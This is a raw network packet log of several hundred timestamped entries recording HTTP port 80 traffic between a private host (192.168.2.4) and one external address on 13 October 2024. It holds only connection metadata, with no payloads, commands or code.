Oct 13, 2024 11:54:06.217843056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.217844009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.217896938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.217899084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.217950106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.217951059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.217998981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.218002081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.218046904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.218049049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.218095064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.218096018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.218147039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.218147039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.218194962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.218194962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.218241930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.218242884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.218344927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.218373060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.218395948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.896744967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.896744967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.906341076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.906409025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.906456947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.906497002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.906537056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:07.637522936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:07.637845039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:07.739451885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:07.739677906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:07.744735003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:07.744760990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:07.744781017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:08.465636015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:08.465878010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:08.493494034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:08.498749971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:09.213794947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:09.214026928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:09.751163006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:09.756334066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:10.480853081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:10.481239080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:10.919011116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:10.924572945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.147130013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.147186041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.147227049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.147260904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.147294998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.147320032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.147320032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.147330046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.147365093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.147408009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.147408009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.147429943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.147442102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.147464991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.147492886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.147500992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.147526026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.147536039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.147557974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.147571087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.147598982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.147613049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.147629023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.147671938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.276954889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.277105093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.277142048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.277174950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.277209044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.277241945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.277245045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.277245045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.277276039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.277324915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.277329922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.277354002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.277354956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.277376890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.277406931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.277411938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.277447939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.277450085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.277477980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.277477980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.277513981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.277519941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.277551889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.277559996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.277584076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.277594090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.277647972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.277652979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.277688980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.277707100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.277724028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.277756929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.277756929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.277756929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.277792931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.277797937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.277827978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.277842045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.277868986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.277868986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.277905941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.277934074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.277965069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.277965069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.277965069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.277965069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.277992010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.278003931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.278029919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.278033018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.278069973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.278090954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.407497883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.407602072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.407656908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.407694101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.407747030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.407756090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.407756090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.407756090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.407756090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.407799006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.407835007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.407839060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.407869101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.407890081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.407892942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.407948971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.407983065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408000946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408000946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408076048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408101082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408111095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408128977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408147097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408173084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408179998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408200026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408214092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408246994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408271074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408271074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408282042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408303022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408317089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408340931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408350945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408385038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408389091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408404112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408422947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408444881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408457041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408477068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408490896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408514023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408524990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408546925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408559084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408581018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408595085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408618927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408631086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408655882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408665895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408679962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408699989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408724070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408734083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408756018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408767939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408793926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408802986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408826113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408835888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408850908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408871889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408891916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408902884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408930063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408936977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.408961058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.408976078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.409001112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.409008980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.409025908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.409043074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.409061909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.409077883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.409105062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.409111977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.409143925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.409147978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.409177065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.409185886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.409205914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.409210920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.409229994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.409245968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.409274101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.409276009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.409300089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.409338951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.535454988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.535510063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.535563946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.535594940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.535636902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.535638094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.535638094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.535638094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.535665989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.535670996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.535691977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.535726070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.535727024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.535779953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.535780907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.535830975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.535832882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.535886049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.535887003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.535936117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.535937071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.535968065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.535985947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.535998106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536025047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536031008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536047935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536065102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536081076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536098003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536122084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536133051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536151886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536165953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536185980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536216974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536216974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536252022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536272049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536288977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536305904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536318064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536340952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536350965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536371946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536389112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536406040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536437988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536437988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536473989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536490917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536506891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536524057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536540031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536557913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536573887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536588907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536609888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536626101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536643028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536668062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536690950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536693096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536726952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536746979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536778927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536778927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536812067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536833048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536844969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536879063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536880970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536902905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536915064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536931992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536947966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.536971092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.536984921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.537000895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537033081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.537035942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537080050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.537108898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537112951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.537147045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.537195921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.537197113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537198067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537231922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537246943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.537254095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537280083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.537302971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537316084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.537334919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537349939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.537367105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537386894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.537404060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537416935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.537439108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537467003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.537480116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537502050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.537523031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537534952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.537554979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537586927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537585974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.537628889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.537652969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537679911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537679911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.537713051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.537735939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537745953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.537767887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537781000 CEST	80	49730	185.215.113.37	192.168.2.4
